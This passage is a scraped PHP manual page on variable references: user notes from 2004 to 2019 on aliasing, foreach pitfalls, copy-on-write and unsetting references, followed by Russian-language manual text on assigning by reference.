$x; reference is affected by $array2[1]'s value. because, in allocated memory, $array2[1] is a copy of $array1[1]. this means that $array2[1] = $array1[1], also means &$array2[1] = &$array1[1]  as said above. this causes memory's  value reallocation on $array1[1]. at this moment. the problem of this topic is cleared by '$x', the memory itself.  and this problem was solved by unsetting the '$x'. unsetting this reference triggers memory reallocation of $array2[1]. this closes the reference link between the copied one($array1, which is the original) and copy($array2). this is where that bug(clearly, it's not a bug. it's just a missunderstanding) has triggered by. closing reference link makes two array object to be separated on memory. and this work was done through the unset() function. this topic was posted 7 years ago, but i just want to clarify that it's not a bug.

if there's some problems in my notes, plz, note that on above.
alexander at gamerev dot org 13-Mar-2014 02:47
Simply put, here's an example of what referencing IS:

<?php
    $foo  = 5;
    $bar = &$foo;
    $bar++;

    echo $foo;
?>

The above example will output the value 6, because $bar references the value of $foo, therefore, when changing $bar's value, you also change $foo's value too.
shooo dot xz at gmail dot com 10-Sep-2013 12:53
Hi, i've worked a abit on reference stuff.
Here is what i've noticed.

The problem: Sort mysql result through columns

$rewrite_self = gt::recombine(array('lang', 'id'), 'value_column', $sql_result);

public static function recombine($keys, $value, &$arr) {
        $ref = array();
        $main = &$ref;
        foreach($arr as $data) {
            foreach($keys as $key) {
                if (!is_array($ref[$data[$key]])) $ref[$data[$key]] = array();
                $ref = &$ref[$data[$key]];
            }
            $ref = $data[$value];
            $ref = &$main;
        }
        return $main;
}

array(2) {
  ["pl"]=>
  array(2) {
    [2]=>
    string(4) "value_column_str"
    [3]=>
    string(4) "value_column_str2"
  }
  ["en"]=>
  array(1) {
    [13]=>
    string(7) "value_column_str3"
  }
}

Enjoy!
sneskid at hotmail dot com 15-Mar-2012 10:19
There is no built in method (yet) to check if two variables are references to the same piece of data, but you can do a "reference sniff" test. This is rarely needed, but can be very useful. The function bellow is a slightly modified version of this technique I saw in a forum regarding this comparison limitation.

<?php
function is_ref_to(&$a, &$b)
{
    $t = $a;
    if($r=($b===($a=1))){ $r = ($b===($a=0)); }
    $a = $t;
    return $r;
}

$varA = 1;
$varB = $varA;
$varC =&$varA;

var_dump( is_ref_to($varA, $varB) ); // bool(false)
var_dump( is_ref_to($varA, $varC) ); // bool(true)
?>

The test above uses a two step process to be 100% generic.
But if you are sure the variables being tested will not be a certain value, example null, then use that value to allow a one step check.

<?php
function is_ref_to_1step(&$a, &$b)
{
    $t = $a;
    $r=($b===($a=null));
    $a = $t;
    return $r;
}
?>
zoranbankovic at gmail dot com 16-Oct-2010 01:59
If someone wants to add slashes to multidimensional array directly, can use recursive (pass-by-reference) function like this:
<?php
function slashit(&$aray, $db_link)
{
  foreach ($aray as $key => &$value)
   if(is_array($value)) slashit($value, $link);
   else $aray[$key] = mysql_real_escape_string($value, $db_link);
}

// Test:
$fruits = array (
    "fruits"  => array("a" => "or'ange", "b" => "ban'ana", "c" => "apple'"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("fir'st", 5 => "sec'ond", "thir'd"),
    "odma"    => "jugo'slavija"
);

// You have to make link to the database or can use addslashes instead of mysql_real_escape_string and remove $link from function definition

slashit($fruits, $dbLink);
echo "<pre>"; print_r($fruits); echo "</pre>";
?>

// Output:
Array
(
    [fruits] => Array
        (
            [a] => or\'ange
            [b] => ban\'ana
            [c] => apple\'
        )

    [numbers] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
        )

    [holes] => Array
        (
            [0] => fir\'st
            [5] => sec\'ond
            [6] => thir\'d
        )

    [odma] => jugo\'slavija
)
gnuffo1 at gmail dot com 27-Aug-2010 07:07
If you want to know the reference count of a particular variable, then here's a function that makes use of debug_zval_dump() to do so:

<?php
function refcount($var)
{
    ob_start();
    debug_zval_dump($var);
    $dump = ob_get_clean();

    $matches = array();
    preg_match('/refcount\(([0-9]+)/', $dump, $matches);

    $count = $matches[1];

    //3 references are added, including when calling debug_zval_dump()
    return $count - 3;
}
?>

debug_zval_dump() is a confusing function, as explained in its documentation, as among other things, it adds a reference count when being called as there is a reference within the function. refcount() takes account of these extra references by subtracting them for the return value.

It's also even more confusing when dealing with variables that have been assigned by reference (=&), either on the right or left side of the assignment, so for that reason, the above function doesn't really work for those sorts of variables. I'd use it more on object instances.

However, even taking into account that passing a variable to a function adds one to the reference count; which should mean that calling refcount() adds one, and then calling debug_zval_dump() adds another, refcount() seems to have aquired another reference from somewhere; hence subtracting 3 instead of 2 in the return line. Not quite sure where that comes from.

I've only tested this on 5.3; due to the nature of debug_zval_dump(), the results may be completely different on other versions.
Youssef Omar 15-Dec-2009 12:27
This is to show the affect of changing property of object A through another object B when you pass object A as a property of another object B.

<?php
 // data class to be passed to another class as an object
 class A{
     public $info;
    function __construct(){
        $this->info = "eeee";
    }
 }

 // B class to change the info in A obj
 class B_class{
     public $A_obj;

    function __construct($A_obj){
        $this->A_obj =  $A_obj;
    }
    public function change($newVal){
        $this->A_obj->info = $newVal;
    }
 }

 // create data object from the A
 $A_obj = new A();
 // print the info property
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

 // create the B object and pass the A_obj we created above
 $B_obj = new B_class($A_obj);
 // print the info property through the B object to make sure it has the same value 'eeee'
 echo 'B_obj info: ' . $B_obj->A_obj->info . '<br/>';

 // chage the info property
 $B_obj->change('xxxxx');
 // print the info property through the B object to make sure it changed the value to 'xxxxxx'
 echo 'B_obj info after change: ' . $B_obj->A_obj->info . '<br/>';
 // print the info property from the A_obj to see if the change through B_obj has affected it
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

?>

The result:

A_obj info: eeee
B_obj info: eeee
B_obj info after change: xxxxx
A_obj info: xxxxx
midir 28-Feb-2009 11:44
Here is a good magazine article (PDF format) that explains the internals of PHP's reference mechanism in detail: http://derickrethans.nl/files/phparch-php-variables-article.pdf

It should explain some of the odd behavior PHP sometimes seems to exhibit, as well as why you can't create "references to references" (unlike in C++), and why you should never attempt to use references to speed up passing of large strings or arrays (it will make no difference, or it will slow things down).

It was written for PHP 4 but it still applies. The only difference is in how PHP 5 handles objects: passing object variables by value only copies an internal pointer to the object. Objects in PHP 5 are only ever duplicated if you explicitly use the clone keyword.
ivan at mailinator dot com 09-Dec-2008 05:09
A little gotcha (be careful with references!):

<?php
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
foreach ($arr as &$a); // do nothing. maybe?
foreach ($arr as $a);  // do nothing. maybe?
print_r($arr);
?>
Output:

Array
(
    [a] => first
    [b] => second
    [c] => second
)

Add 'unset($a)' between the foreachs to obtain the 'correct' output:

Array
(
    [a] => first
    [b] => second
    [c] => third
)
zzo38 16-Jul-2008 01:08
You can make references like pointers. Example:
<?php
  $a=6;
  $b=array(&$a); // $b is a pointer to $a
  $c=array(&$b); // $c is a pointer to $b
  $d=7;
  $c[0][0]=9; // $a is 9
  $c[0]=array(&$d); // $b is a pointer to $d
  $c[0][0]=4; // $d is 4
  $b=array(&$a); // $b is a pointer to $a again
  echo $a.$b[0].$c[0][0].$d; // outputs 9994
?>
These kind of pointers may even be passed to functions or returned from functions, copied and stored in multiple arrays/variables/objects, etc.
jasonpvp at gmail dot com 10-Jul-2008 04:16
To change values in a multi-dimensional array while looping through:

$var=array('a'=>array(1,2,3),'b'=>array(4,5,6));

foreach ($var as &$sub) {
  foreach ($sub as &$element) {
    $element=$element+1;
  }
}

var_dump($var);

------------------------------
produces:
------------------------------
array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    int(2)
    [1]=>
    int(3)
    [2]=>
    int(4)
  }
  ["b"]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(6)
    [2]=>
    int(7)
  }
}
mpapec 26-Jun-2008 05:23
It's strange that function definition AND call to the same function must have "&" before them.

$arr = array();
$ref =& oras($arr['blah'], array());
$ref []= "via ref";
print_r($arr);

/* result
Array
(
    [blah] => Array
        (
            [0] => via ref
        )

)
*/

// perl like ||=
function &oras (&$v, $new) {
  $v or $v = $new;
  return $v;
}
dnhuff at acm dot org 09-Jun-2008 12:40
This is discussed before (below) but bears repeating:

$a = null; ($a =& null; does not parse) is NOT the same as unset($a);

$a = null; replaces the value at the destination of $a with the null value;

If you chose to use a convention like $NULL = NULL;

THEN, you could say $a =& $NULL to break any previous reference assignment to $a (setting it of course to $NULL), which could still get you into trouble if you forgot and then said $a = '5'. Now $NULL would be '5'.

Moral: use unset when it is called for.
Dave at SymmetricDesigns dot com 20-May-2008 11:24
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

I fixed my bug by rewriting the code without references, but it can also be fixed with the unset() function:
<?php
    $array1 = array(1,2);
    $x = &$array1[1];
    $array2 = $array1;
    unset($x); // Array copy is now unaffected by above reference
    $array2[1]=22;
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 2
    )
marco at greenlightsolutions dot nl 15-Nov-2007 02:38
I ran into a bit of a problem recently, with an array copy resulting in a reference copy of one of the elements instead of a clone. Sample code:

<?php
$a=array(1 => "A");
$b=&$a[1];
$c=$a; // should be a deep cloning
$c[1]="C";
var_dump($a[1]); // yields 'C' instead of 'A'
?>

After some searching, I found that it was a known bug which would be too costly to fix (see http://bugs.php.net/bug.php?id=20993). There was supposed to be some documentation on this behaviour on this page:

"Due to peculiarities of the internal workings of PHP, if a reference  is made to a single element of an array and then the array is copied, whether by assignment or when passed by value in a function call, the reference is copied as part of the array.  This means that changes to any such elements in either array will be duplicated in the other array (and in the other references), even if the arrays have different scopes (e.g. one is an argument inside a function and the other is global)!  Elements that did not have references at the time of the copy, as well as references assigned to those other elements after the copy of the array, will behave normally (i.e. independent of the other array)."

However, this paragraph appears to have been removed from this page at some point, presumably because it was a bit obscure. The comments section seem to be a proper place for this, though.
warnickr at gmail dot com 10-Nov-2007 01:15
I must say that it has been rather confusing following all of the explanations of PHP references, especially since I've worked a lot with C pointers.  As far as I can tell PHP references are the same as C pointers for all practical purposes.  I think a lot of the confusion comes from examples like the one shown below where people expect that a C pointer version of this would change what $bar references.

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

This is not the case.  In fact, a C pointer version of this example (shown below) would behave exactly the same way (it would not modify what bar references) as the PHP reference version.

int baz = 5;
int* bar;
void foo(int* var)
{
    var = &baz;
}
foo(bar);

In this case, just as in the case of PHP references, the call foo(bar) doesn't change what bar references.  If you wanted to change what bar references, then you would need to work with a double pointer like so:

int baz = 5;
int* bar;
void foo(int** var)
{
    *var = &baz;
}
foo(&bar);
trucex at gmail dot com 05-May-2007 01:49
In response to Xor and Slava:

I recommend you read up a bit more on the way PHP handles memory management. Take the following code for example:

<?php

$data = $_POST['lotsofdata'];
$data2 = $data;
$data3 = $data;
$data4 = $data;
$data5 = $data;

?>

Assuming we post 10MB of data to this PHP file, what will PHP do with the memory?

PHP uses a table of sorts that maps variable names to the data that variable refers to in memory. The $_POST superglobal will actually be the first instance of that data in the execution, so it will be the first variable referenced to that data in the memory. It will consume 10MB. Each $data var will simply point to the same data in memory. Until you change that data PHP will NOT duplicate it.

Passing a variable by value does just what I did with each $data var. There is no significant overhead to assigning a new name to the same data. It is only when you modify the data passed to the function that it must allocate memory for the data. Passing a variable by reference will do essentially the same thing when you pass the data to the function, only modifying it will modify the data that is in the memory already versus copying it to a new location in memory.

If for learning purposes you choose to disregard the obvious pointlessness in benchmarking the difference between these two methods of passing arguments, you will need to modify the data when it is passed to the function in order to obtain more accurate results.
sneskid at hotmail dot com 06-Mar-2007 12:47
(v5.1.4)
One cool thing about var_dump is it shows which variables are references (when dumping arrays), symbolized by '?' for int/null, and by '&' for boolean/double/string/array/object. I don't know why the difference in symmmmbolism.
After playing around I found a better way to implement detaching (twas by accident). var_dump can show what's going on.

<?php
function &detach($v=null){return $v;}

$A=array('x' => 123, 'y' => 321);
$A['x'] = &$A['x'];
var_dump($A);
/* x became it's own reference...
array(2) {
  ["x"]=> ?(123)
  ["y"]=> int(321)
}*/

$A['y']=&$A['x'];
var_dump($A);
/* now both are references
array(2) {
  ["x"]=> ?(123)
  ["y"]=> ?(123)
}*/

$z = 'hi';
$A['y']=&detach(&$z);
var_dump($A);
/* x is still a reference, y and z share
array(2) {
  ["x"]=> ?(123)
  ["y"]=> &string(2) "hi"
}*/

$A['x'] = $A['x'];
$A['y']=&detach();
var_dump($A,$z);
/* x returned to normal, y is on its own, z is still "hi"
array(2) {
  ["x"]=> int(123)
  ["y"]=> NULL
}*/
?>

For detach to work you need to use '&' in the function declaration, and every time you call it.

Use this when you know a variable is a reference, and you want to assign a new value without effecting other vars referencing that piece of memory. You can initialize it with a new constant value, or variable, or new reference all in once step.
sneskid at hotmail dot com 31-Oct-2006 09:33
in addition to what 'jw at jwscripts dot com' wrote about unset; it can also be used to "detach" the variable alias so that it may work on a unique piece of memory again.

here's an example

<?php
define('NL', "\r\n");

$v1 = 'shared';
$v2 = &$v1;
$v3 = &$v2;
$v4 = &$v3;

echo 'before:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

// detach messy
$detach = $v1;
unset($v1);
$v1 = $detach;

// detach pretty, but slower
eval(detach('$v2'));

$v1 .= '?';
$v2 .= ' no more';
$v3 .= ' sti';
$v4 .= 'll';

echo NL.'after:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

function detach($v) {
    $e = '$detach = ' . $v . ';';
    $e .= 'unset('.$v.');';
    $e .= $v . ' = $detach;';
    return $e;
}
?>

output {
before:
v1=shared
v2=shared
v3=shared
v4=shared

after:
v1=shared?
v2=shared no more
v3=shared still
v4=shared still
}

http://www.obdev.at/developers/articles/00002.html says there's no such thing as an "object reference" in PHP, but with detaching it becomes possible.

Hopefully detach, or something like it, will become a language construct in the future.
gunter dot sammet at gmail dot com 09-Aug-2006 01:23
I tried to create an array with n depth using a recursive function passing array references around. So far I haven't had much luck and I couldn't find anything on the web. So I ended up using eval() and it seems to work well:
<?php
      foreach(array_keys($this->quantity_array) AS $key){
        if($this->quantity_array[$key] > 0){
          $combinations = explode('-', $key);
          $eval_string = '$eval_array';
          foreach(array_keys($combinations) AS $key2){
            $option_key_value = explode('_', $combinations[$key2]);
            $eval_string .= '['.$option_key_value[0].']['.$option_key_value[1].']';
          }
          $eval_string .= ' = '.$this->quantity_array[$key].';';
          eval($eval_string);
        }
      }
?>

This produces an n dimensional array that will be available in the $eval_array variable. Hope it helps somebody!
Ed 22-Jan-2006 11:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
cesoid at yahoo dot com 10-Dec-2005 06:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com 12-Oct-2005 09:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
php at REMOVEMEkennel17 dot co dot uk 23-Aug-2005 06:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu 12-Aug-2005 08:59
I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;   # an object with properties

  function corrupt1(){
    modify1 ($this->i);
  }

  function doNotCorrupt1(){
    $tmpi = $this->i;
    modify1 ($tmpi);
    $this->i = $tmpi;
  }

  function corrupt2(){
    modify2 ($this->i);
  }

  function doNotCorrupt2(){
    $tmpi = $this->i;
    modify2 ($tmpi);
    $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
nslater at gmail dot com 15-Mar-2005 07:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
    // Do stuff
}

?>
Carlos 14-Mar-2005 12:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);       // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net 09-Feb-2005 10:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
    $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com 16-Oct-2004 05:18
Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
    $numbers[] = null;
    $num = count($numbers);
    $index =& $numbers[$num ? $num - 1 : $num];
    $index = $i;
}

foreach ($numbers as $index) {
    print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
hkmaly at bigfoot dot com 15-Sep-2004 08:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com 17-Jul-2004 08:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
    ...
    $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
nathan 05-Apr-2004 10:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es 30-Mar-2004 10:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php


Что такое ссылки

Ссылки в PHP - это средство доступа к содержимому одной переменной под разными именами. Они не похожи на указатели C; например, вы не можете выполнять над ними адресную арифметику, они не являются реальными адресами в памяти и т.д. Для получения дополнительной информации смотрите Чем ссылки не являются. Вместо этого указатели в PHP - это псевдонимы в таблице имён переменных. В PHP имя переменной и её содержимое - это разные вещи, поэтому одно содержимое может иметь разные имена. Можно провести аналогию с именами файлов и файлами в Unix: имена переменных - записи в каталоге, а содержимое переменной - это сам файл. Ссылки в PHP - аналог жёстких ссылок в файловых системах Unix.

User Contributed Notes

aldo dot caruso at argencasas dot com 13-Mar-2019 04:50
The following three code snippets show the effect of using references in scalar variables, arrays and objects under different circumstances.

In any case the result is the expected one if you stick to the concept that a reference is an alias to a variable. After assigning by reference ( no matter if $a =& $b or $b =& $a ) both variable names refer to the same variable.

References with scalars

<?php
/*
References are aliases for the same variable
*/

$a = 1;
$b =& $a;

$b = 2;
echo "$a,$b\n"; // 2,2

$a = 3;
echo "$a,$b\n"; // 3,3

// Variables can be bound before being assigned
$c =& $d;
$c = 4;
echo "$c,$d\n"; // 4,4
?>

References with arrays

<?php
/*
Array elements referencing scalar variables
*/

$a = 1;
$b = 2;
$c = array(&$a, &$b);

$a = 3;
$b = 4;
echo "c: $c[0],$c[1]\n"; // 3,4

$c[0] = 5;
$c[1] = 6;
echo "a,b: $a,$b\n"; // 5,6

/*
Reference between arrays
*/

$d = array(1,2);
$e =& $d;

$d[0] = 3;
$d[1] = 4;
echo "e: $e[0],$e[1]\n"; // 3,4

$e[0] = 5;
$e[1] = 6;
echo "d: $d[0],$d[1]\n"; // 5,6

$e = 7;
echo "d: $d\n"; // 7 ( $d is no more an array, but an integer )

/*
Iterating an array of references using foreach construct
*/

$a = 1;
$b = 2;
$f = array(&$a,&$b);

foreach($f as $x) // If $x is assigned by value it doesn't change referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 1,2

foreach($f as &$x) // If $x is assigned by reference it changes referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 3,3

// Be aware that, after the loop, $x still references $f[1] and so $b
$x = 4;
echo "a,b: $a,$b\n"; // 3,4 ( $b affected )

// To avoid previous side effects it is advisable to unset x, unlinking it from $f[1] and $b
unset($x);
$x = 5;
echo "a,b: $a,$b\n"; // 3,4 ( $b not affected )
?>

References with objects

<?php
/*
Object property referencing a scalar variable
*/

$a = 1;
$b = new stdClass();
$b->x =& $a;

$a = 2;
echo "b->x: $b->x\n"; // 2

$b->x = 3;
echo "a: $a\n"; // 3

/* Reference between objects */
$c = new stdClass();
$c->x = 1;
$d =& $c;

$d->x = 2;
echo "c->x: $c->x\n"; // 2

$d = new stdClass();
$d->y = 3;
echo "c->y: $c->y\n"; // 3
echo "c->x: $c->x\n"; // Undefined property: stdClass::$x
?>
Anonymous 26-Jul-2018 03:11
Unlike in C, PHP references are not treated as pre-dereferenced pointers, but as complete aliases.

The data that they are aliasing ("referencing") will not become available for garbage collection until all references to it have been removed.

"Regular" variables are themselves considered references, and are not treated differently from variables assigned using =& for the purposes of garbage collection.

The following examples are provided for clarification.

1) When treated as a variable containing a value, references behave as expected. However, they are in fact objects that *reference* the original data.

<?php
var = "foo";
$ref1 =& $var; // new object that references $var
$ref2 =& $ref1; // references $var directly, not $ref1!!!!!

echo $ref; // >foo

unset($ref);

echo $ref1; // >Notice:  Undefined variable: ref1
echo $ref2; // >foo
echo $var; // >foo
?>

2) When accessed via reference, the original data will not be removed until *all* references to it have been removed. This includes both references and "regular" variables assigned without the & operator, and there are no distinctions made between the two for the purpose of garbage collection.

<?php
$var = "foo";
$ref =& $var;

unset($var);

echo $var; // >Notice:  Undefined variable: var
echo $ref; // >foo
?>

3) To remove the original data without removing all references to it, simply set it to null.

<?php
$var = "foo";
$ref =& $var;

$ref = NULL;

echo $var; // Value is NULL, so nothing prints
echo $ref; // Value is NULL, so nothing prints
?>

4) Placing data in an array also counts as adding one more reference to it, for the purposes of garbage collection.

For more info, see http://php.net/manual/en/features.gc.refcounting-basics.php
273118949 at qq dot com 07-Oct-2017 04:24
it just likes a person who has two different names.
anon 02-Jan-2017 11:30
In summary, "&$reference" means "do-not-copy-on-write the value here, in perpetuity". Assigning by reference is not assignment, it's "make &$variable a reference and its value do-not-copy-on-write, in perpetuity, and make the variable I'm assigning to use that do-not-copy-on-write value as well".

To "unreference/unalias" you have to either unset or make an explicit copy into a new variable.

Object properties that are references will survive cloning and remain references. Generally the same is true with references in arrays and PHP's array functions (combine, intersect, call_user_func, func_get_args, etc).

Calling a function that uses a reference parameter will *make* the supplied variable a reference. This is also true when using variadic array expansion for arguments; the supplier's array element will become a reference.

Generally, don't use them unless you're dealing with low-level calls, or need an accumulator, etc. For poorly designed functions that use them, give them a copy to mangle.


Что делают ссылки

Есть три основных операции с использованием ссылок: присвоение по ссылке, передача по ссылке и возврат по ссылке. Данный раздел познакомит вас с этими операциями и предоставит ссылки для дальнейшего изучения.

Присвоение по ссылке

Первая из них - ссылки PHP позволяют создать две переменные указывающие на одно и то же значение. Таким образом, когда выполняется следующее:

<?php
$a =& $b;
?>
то $a указывает на то же значение что и $b.

Замечание:

$a и $b здесь абсолютно эквивалентны, но это не означает, что $a указывает на $b или наоборот. Это означает, что $a и $b указывают на одно и то же значение.

Замечание:

При присвоении, передаче или возврате неинициализированной переменной по ссылке, происходит её создание.

Пример #1 Использование ссылок с неинициализированными переменными

<?php
function foo(&$var) { }

foo($a); // $a создана и равна null

$b = array();
foo($b['b']);
var_dump(array_key_exists('b', $b)); // bool(true)

$c = new stdClass;
foo($c->d);
var_dump(property_exists($c, 'd')); // bool(true)
?>

Такой же синтаксис может использоваться в функциях, возвращающими ссылки, и с оператором new:

<?php
$foo =& find_var($bar);
?>

Использование того же синтаксиса с функцией, которая не возвращает по ссылке, приведёт к ошибке, так же как и её использование с результатом оператора new. Хотя объекты передаются как указатели, это не то же самое, что ссылки, как описано в разделе Объекты и ссылки.

Внимание

Если переменной, объявленной внутри функции как global, будет присвоена ссылка, она будет видна только в функции. Чтобы избежать этого, используйте массив $GLOBALS.

Пример #2 Присвоение ссылок глобальным переменным внутри функции

<?php
$var1 = "Пример переменной";
$var2 = "";

function global_references($use_globals)
{
global $var1, $var2;
if (!$use_globals) {
$var2 =& $var1; // только локально
} else {
$GLOBALS["var2"] =& $var1; // глобально
}
}

global_references(false);
echo "значение var2: '$var2'\n"; // значение var2: ''
global_references(true);
echo "значение var2: '$var2'\n"; // значение var2: 'Пример переменной'
?>
Думайте о global $var; как о сокращении от $var =& $GLOBALS['var'];. Таким образом, присвоение $var другой ссылки влияет лишь на локальную переменную.

Замечание:

